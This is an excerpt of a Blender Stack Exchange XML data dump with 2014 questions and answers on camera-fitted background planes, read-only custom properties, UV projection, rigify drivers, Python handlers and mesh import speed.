  <row Id="13691" PostTypeId="2" ParentId="13690" CreationDate="2014-07-02T12:16:53.393" Score="2" Body="&lt;p&gt;The modifier's result is a new mesh. Cycles doesn't know which vertices are the original ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need UV texturing, then you can do a bitmap mask. Use 'U' option in Mirror modifier. Make an image that is totally black in left half and pure white in right half. UV of the mirrored vertices will get flipped around U 0.5, so left polygons will be black and right polygons white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/tryx0BF.png&quot; alt=&quot;Cycles setup screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you can preserve the information through vertex groups. Make two vertex groups, GroupName.L and GroupName.R. Then assign all vertices to Group.L. In the Mirror modifier enable the 'Vertex Groups' option.&#xA;But as of Blender 2.71, I can't find any way to obtain vertex group influence values in a shader.&lt;/p&gt;&#xA;" OwnerUserId="1028" LastEditorUserId="1028" LastEditDate="2014-07-02T12:28:20.920" LastActivityDate="2014-07-02T12:28:20.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13692" PostTypeId="1" CreationDate="2014-07-02T13:39:51.050" Score="3" ViewCount="6716" Body="&lt;p&gt;I'll try to keep it clear: I want to use a background in Blender and for that I use a plane that I want always to fit the camera viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to do it cleanly, so I put a plane at the same location and orientation as the camera and now I want to move the plane along the camera axis and change it's scale to always fit the viewport (what you can see in the camera view).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used cos and sin with the FOV of the camera to move the plane but I didn't have anything correct (not so good at math...) and I don't get how I can have the plane to always fit the viewport (fill it entirely).&lt;/p&gt;&#xA;" OwnerUserId="5052" LastEditorDisplayName="user1853" LastEditDate="2014-07-02T14:29:43.320" LastActivityDate="2019-10-25T19:28:04.670" Title="Create a plane that always fits the camera viewport" Tags="&lt;objects&gt;&lt;transforms&gt;&lt;camera&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13693" PostTypeId="1" AcceptedAnswerId="13702" CreationDate="2014-07-02T14:14:37.123" Score="6" ViewCount="1539" Body="&lt;p&gt;I'm creating a custom property for each object in my scene but don't want the user to be able to edit it. Is it possible to block the property in ui ?&#xA;Here is my code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;allObjects = list(bpy.data.objects)&#xA;&#xA;for element in allObjects:&#xA;    element[&quot;myProp&quot;] = &quot;My value&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4988" LastActivityDate="2014-07-02T15:59:54.460" Title="How to block custom properties from being edited by the user?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13694" PostTypeId="2" ParentId="13692" CreationDate="2014-07-02T14:18:09.130" Score="5" Body="&lt;p&gt;There is a plugin by tobbew to do exactly what you ask: &lt;a href=&quot;http://blenderartists.org/forum/attachment.php?attachmentid=287436&amp;amp;d=1391722170&quot; rel=&quot;nofollow noreferrer&quot;&gt;create camera image plane&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;it creates a plane and sets up some drivers so when the distance from the camera (-z) is changed the plane is automatically scaled to cover the screen and gives it a cycles material so i'll just have to load the texture&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the plugin is installed, all you do is select the camera and run the plugin (press the space bar and start typing camera):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BMMg9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it creates a plane in front of the camera. If you move the camera the image plane will always follow it. If you move the plane away or closer to camera it will also rescale automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UkvYr.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;here's the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?300436-Scripts-Create-camera-image-plane&amp;amp;highlight=camera%20plane&quot; rel=&quot;nofollow noreferrer&quot;&gt;blenderartists.org thread&lt;/a&gt; for additional info.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-11-29T19:12:23.480" LastActivityDate="2015-11-29T19:12:23.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13695" PostTypeId="2" ParentId="13692" CreationDate="2014-07-02T14:19:17.090" Score="4" Body="&lt;p&gt;You could parent your background plane to the camera. Then the plane would follow movement and rotation of your camera.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the plane&lt;/li&gt;&#xA;&lt;li&gt;Select camara&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt; Set parent to object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In large scenes you would need to scale the plane and move it behind all other objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vv7fs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-07-02T14:30:15.550" LastActivityDate="2014-07-02T14:30:15.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13696" PostTypeId="2" ParentId="13692" CreationDate="2014-07-02T14:19:42.530" Score="2" Body="&lt;p&gt;First you can use the &lt;em&gt;Images as planes&lt;/em&gt; add on, to add the background image properly sized and with the texture already applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;copy rotation&lt;/em&gt; constraint to the image plane. Set the target to the camera.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SQYXN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To move the plane, similar to zooming in on the plane.&lt;/strong&gt;&lt;br&gt;&#xA;To move the plane on the camera's axis you can switch the &lt;em&gt;Transform Orientation&lt;/em&gt; to ether &lt;em&gt;View&lt;/em&gt; or &lt;em&gt;Local&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GZSv8.png&quot; alt=&quot;Transform Orientation&quot;&gt;&lt;br&gt;&#xA;Then move the plane along the &lt;code&gt;Z&lt;/code&gt; axis (view mode will only work the same as local if you are viewing through the camera).&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-07-02T22:17:52.030" LastActivityDate="2014-07-02T22:17:52.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13697" PostTypeId="2" ParentId="13690" CreationDate="2014-07-02T14:34:36.830" Score="2" Body="&lt;p&gt;You can do this with the nodes pictured below.&lt;br&gt;&#xA;&lt;sub&gt;click for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QcidO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QcidO.png&quot; alt=&quot;nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gradient texture node is setting up the spiting left and right. The color ramp set to constant and with color stop #1 set to &lt;em&gt;.5&lt;/em&gt; gives half pure black, and half pure white. Which gives this.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OXo6r.png&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to use a Vector &lt;em&gt;Mapping&lt;/em&gt; node to rotate where the split is located like in the image below.&lt;br&gt;&#xA;&lt;sub&gt;click for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RFxB4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RFxB4.png&quot; alt=&quot;nodes&quot;&gt;&lt;/a&gt;&#xA; Which gives this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1qkBK.png&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-07-02T14:46:07.717" LastActivityDate="2014-07-02T14:46:07.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13702" PostTypeId="2" ParentId="13693" CreationDate="2014-07-02T15:54:33.693" Score="9" Body="&lt;p&gt;You might create a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.props.html&quot; rel=&quot;noreferrer&quot;&gt;custom property&lt;/a&gt; and pass only a get method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#default getter&#xA;def get_my_prop(self):&#xA;    return self['my_prop']&#xA;&#xA;#omit the setter with a given getter to make it read-only&#xA;bpy.types.Object.my_prop = bpy.props.StringProperty(get=get_my_prop)&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;    #assign the value directly&#xA;    obj['my_prop'] = &quot;My Value&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like this in the properties panel in blender 2.71:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GzgmR.png&quot; alt=&quot;getter&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-07-02T15:59:54.460" LastActivityDate="2014-07-02T15:59:54.460" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13703" PostTypeId="2" ParentId="13677" CreationDate="2014-07-02T16:09:52.943" Score="4" Body="&lt;p&gt;Problem solved!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I talked to a friend and he said that since the displacement map deforms the mesh according to the face normals (never knew that), I needed a normal map to smoothen the faces altogether before applying the displacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material node setup as follows:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uE4Kv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5042" LastActivityDate="2014-07-02T16:09:52.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13704" PostTypeId="1" CreationDate="2014-07-02T16:48:09.367" Score="1" ViewCount="1641" Body="&lt;p&gt;As shown in the picture,&#xA;I have a plane, and would like to set it transparent,&#xA;while remaining the shadow for the cube.&#xA;I want to do this for video motion tracking.&#xA;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pIcjU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3395" LastEditorUserId="29" LastEditDate="2014-07-02T16:52:19.860" LastActivityDate="2014-07-02T16:52:19.860" Title="How to create a transparent plane?" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="0" ClosedDate="2014-07-02T20:51:14.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="13706" PostTypeId="1" AcceptedAnswerId="13711" CreationDate="2014-07-02T17:32:08.727" Score="1" ViewCount="425" Body="&lt;p&gt;I want to refer, in technical text, to the wireframe widget that is used to display a camera in Blender model view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following image displays two of these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yzAUa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2014-07-03T06:05:02.177" Title="What's the correct name of the Camera pyramid-shaped wireframe object used to display it?" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13707" PostTypeId="2" ParentId="13706" CreationDate="2014-07-02T17:38:35.757" Score="1" Body="&lt;h2&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Camera&quot; rel=&quot;nofollow&quot;&gt;The camera&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The one on the left is the &lt;em&gt;active camera&lt;/em&gt;, and the one on the right is not active.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-02T17:38:35.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13709" PostTypeId="1" CreationDate="2014-07-02T19:40:01.170" Score="3" ViewCount="2414" Body="&lt;p&gt;I've been doing a simple camera track, I placed 8 markers and thought now is a good time to see what the solve error is: 11.4301&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L9LMR.png&quot; alt=&quot;track&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The confusing thing is, that if I press Solve Camera Motion repeatedly I keep getting different solve errors, even though I have changed absolutely nothing since the last time I did a solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/adSCF.png&quot; alt=&quot;second solve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C1TAg.png&quot; alt=&quot;third solve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? It doesn't seem correct to me, surely whatever algorithms are running to do the solve won't change after each click without me influencing it in some way.&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2014-07-02T19:40:01.170" Title="Why does the solve error keep changing?" Tags="&lt;tracking&gt;" AnswerCount="0" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13710" PostTypeId="1" AcceptedAnswerId="13720" CreationDate="2014-07-02T21:45:08.227" Score="1" ViewCount="161" Body="&lt;p&gt;I rigged a model following some tutorials, and now I'm trying to make some basic animations.  I already know that my model is rigged properly, because I can get it to work using the motion captured animations pack in the Unity store.  However, following an example like &lt;a href=&quot;https://www.youtube.com/watch?v=h1FBVsbJHMs&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;, I go to put my model in pose mode, and I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rbtZD.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of my full model to animate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K48xq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure this is something absolutely stupid that I'm missing, but I'd appreciate it if anyone can tell me why this is happening so that I can get back to work on this.  Learning things from tutorials is a great way to learn for free until something goes wrong that the tutorial doesn't expect.  My project is &lt;a href=&quot;http://pasteall.org/blend/30169&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4776" LastEditorUserId="599" LastEditDate="2014-07-02T21:54:30.827" LastActivityDate="2014-07-03T07:42:10.973" Title="Why does my character model revert to a torso when I go into Pose mode to animate it?" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13711" PostTypeId="2" ParentId="13706" CreationDate="2014-07-02T21:56:04.357" Score="4" Body="&lt;p&gt;The pyramid-shaped camera gizmo is just a shape commonly chosen to represent cameras. The pyramid's angle and direction depicts the camera's &lt;a href=&quot;https://en.wikipedia.org/wiki/Angle_of_view&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;field of view&lt;/strong&gt;&lt;/a&gt;. Unrelated to Blender, the term you are looking for is &lt;a href=&quot;https://en.wikipedia.org/wiki/Viewing_frustum&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;viewing frustum&lt;/strong&gt; or &lt;strong&gt;pyramid of vision&lt;/strong&gt;&lt;/a&gt;. This is intended for depicting the near and far clipping planes, but Blender does not show these in its camera gizmo. As such, the shape used in Blender is not technically even a frustum because the four segments converge to a point. Within the context of Blender, it is simply called &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Camera&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;the camera&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2014-07-03T06:05:02.177" LastActivityDate="2014-07-03T06:05:02.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13712" PostTypeId="1" CreationDate="2014-07-02T23:44:06.770" Score="1" ViewCount="183" Body="&lt;p&gt;I would like to make a comparative anatomy primitive that I can use as a sculpting base for various animals. Most quadripeds share the same basic surface anatomy plan with differences in proportion, scale and to some extent numbers of anatomic components (for example horses feet have one toe whereas dogs have 5). In the attached image I have tried applying an armature to the bone elements and separate armatures to the muscle elements with constraints on the muscle armature bones relating to the bone armature bones. Unfortunately I am not able to control all meshes adequately with this approach. I have also tried using lattice deformations on the various objects with similar lack luster results. As a minimum I would like to be able to change scale of a bone and have it's scale affect attached muscles. Since I am a complete NOOB at animation I expect there is something I am missing here. Any suggestions are greatly appreciated.&lt;img src=&quot;https://i.stack.imgur.com/n78Uu.png&quot; alt=&quot;simple canine anatomy test&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1459" LastEditorUserId="2217" LastEditDate="2014-07-03T01:07:59.423" LastActivityDate="2014-07-20T23:05:01.090" Title="What technique is used to modify one object's mesh in coordination with an adjacent object's mesh?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13713" PostTypeId="1" CreationDate="2014-07-02T23:55:58.980" Score="2" ViewCount="258" Body="&lt;p&gt;I´m making a character´s eyelashes and I want all the hairs to follow the surface normals. Even if I tweak all the rotation settings they keep following global coordinates when I rotate the character´s head for example. What could it be??&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WzhPH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SLMpP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has 3 particle systems and all of them have the same orientation problem when I move the rig. Th particle mods are after the armature modifier.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TqDGW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5056" LastEditorUserId="5056" LastEditDate="2014-07-07T15:23:24.197" LastActivityDate="2014-07-07T15:23:24.197" Title="Hair particles keeps rotating to global axis, instead of surface normals" Tags="&lt;particles&gt;&lt;rigging&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13714" PostTypeId="1" AcceptedAnswerId="13715" CreationDate="2014-07-02T23:56:15.957" Score="1" ViewCount="442" Body="&lt;p&gt;What is the best way to make textures? Which way do you use? &#xA;I think UV mapping is most popular but not easy.&lt;/p&gt;&#xA;" OwnerUserId="5043" LastActivityDate="2014-07-03T00:07:56.443" Title="What is the best way to make textures?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-07-03T10:56:09.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="13715" PostTypeId="2" ParentId="13714" CreationDate="2014-07-03T00:01:02.923" Score="1" Body="&lt;p&gt;It really depends on what kind of texture it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a texture which looks mostly the same everywhere (e.g. a dirt texture), you can use &lt;em&gt;&lt;a href=&quot;http://vimeo.com/42856095&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blended Box mapping&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3KMJJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a texture which has an obvious definition of what should go where (e.g. a head texture), you probably want to use UV coordinates.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-03T00:07:56.443" LastActivityDate="2014-07-03T00:07:56.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13718" PostTypeId="1" AcceptedAnswerId="13719" CreationDate="2014-07-03T05:41:37.087" Score="4" ViewCount="186" Body="&lt;p&gt;I'm try to rig up several small moving objects, so that at the end of the video they align to form an image. Similar to this video: &lt;a href=&quot;https://www.youtube.com/watch?v=IcG3Jc6Vw04&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=IcG3Jc6Vw04&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See how all the cubes are jumbled, but align after the ball hits? I would like to achieve a similar effect, without having to map an image to each cube face. I'm guessing it has something to do with UV Mapping, but not sure how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please ask if you need any clarification.&#xA;Thanks in advance! :)&lt;/p&gt;&#xA;" OwnerUserId="5060" LastActivityDate="2014-07-03T06:40:18.660" Title="Result Based Texture Mapping" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13719" PostTypeId="2" ParentId="13718" CreationDate="2014-07-03T06:18:47.387" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure all the objects have a UV map (it doesn't have to be a useful one). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a large number of objects which don't a UV map, unwrap one of them (any projection will do) and then select them all (with the unwrapped one active) and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; &lt;em&gt;&gt; Transfer UV maps&lt;/em&gt;. Even if the objects don't have the same vertex order, this will be fine as the UV map is overwritten later.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Simulate/animate the objects and go to the last frame.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the objects, add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Modify/UV_Project&quot; rel=&quot;nofollow noreferrer&quot;&gt;UV project modifier&lt;/a&gt; and set the camera as the projection object, select the UV map, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Modifiers&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NO7wQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will project the UVs from the camera unto the objects. If you move the camera in textured view you can see this in real time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Still on the last frame with all the objects selected, press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Convert to mesh&lt;/em&gt; to apply all the modifiers (and make the UV maps stay in the state they are in).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Result (click on it for html5 version):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/InfantileBreakableClingfish#?speed=3&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/InfantileBreakableClingfish.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.293" LastActivityDate="2014-07-03T06:40:18.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13720" PostTypeId="2" ParentId="13710" CreationDate="2014-07-03T07:42:10.973" Score="2" Body="&lt;p&gt;The rigify addon creates an armature that uses drivers to control some parts of the rig. The leg bones have their scale calculated based on the value of the stretch_length, which is a custom property of the bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Security&quot; rel=&quot;nofollow&quot;&gt;security option&lt;/a&gt; that controls whether scripts are run automatically when opening a blend file, this includes drivers that use python expressions to define their calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you open a file with auto run scripts disabled these drivers aren't run so you end up with strange results like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to open the file with Trusted Source enabled or ensure it is in a path that is not listed as untrusted.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-03T07:42:10.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13721" PostTypeId="1" AcceptedAnswerId="13723" CreationDate="2014-07-03T09:00:59.883" Score="2" ViewCount="910" Body="&lt;p&gt;I need to run a script several times, which among other things adds a custom function to a handler list. How can I check that it doesn't eist already, so as not to have several identical functions in my handlers list, without clearing the list altogether?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def test(self):&#xA;    print('test')&#xA;&#xA;if not test in bpy.app.handlers.render_pre:&#xA;    bpy.app.handlers.render_pre.append(test)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2014-07-03T09:08:19.633" Title="Handler existence checking" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13723" PostTypeId="2" ParentId="13721" CreationDate="2014-07-03T09:08:19.633" Score="3" Body="&lt;p&gt;You can use a list comprehension to check if your function already exists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def myFunc():&#xA;    &quot;&quot;&quot;Your function&quot;&quot;&quot;&#xA;&#xA;if not myFunc.__name__ in [hand.__name__ for hand in bpy.app.handlers.save_pre]:&#xA;    bpy.app.handlers.save_pre.append(myFunc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It'll get the function's name from the pointer for each function in your handler list. Then, you can compare it to your function's name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[hand.__name__ for hand in bpy.app.handlers.save_pre]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;handlerList = []&#xA;for handler in bpy.app.handlers.save_pre:&#xA;    handlerList.append(handler.__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4988" LastActivityDate="2014-07-03T09:08:19.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13724" PostTypeId="1" CreationDate="2014-07-03T09:34:21.447" Score="2" ViewCount="453" Body="&lt;p&gt;I'm writing an importer add-on. It works, but it's slow. The first sub-file takes 15 seconds to import; out of it, 10 seconds are spent in bpy.data.meshes.new().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I timed it, and of course, it's fast at first, and it keeps getting slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I can understand that (the scene is growing larger), is there anything I can do about it ? Like accessing the RNA directly or whatever, like &lt;a href=&quot;https://blender.stackexchange.com/questions/7358/python-performance-with-blender-operators&quot;&gt;this answer&lt;/a&gt; suggested ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the timings for my first sub-file : the first call to bpy.data.meshes.new() take 1ms, the 3000th takes 7ms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/86r21.png&quot; alt=&quot;bpy.data.meshes.new timing&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3461" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-07-28T14:12:06.067" Title="bpy.data.meshes.new gets slower and slower" Tags="&lt;python&gt;&lt;import&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
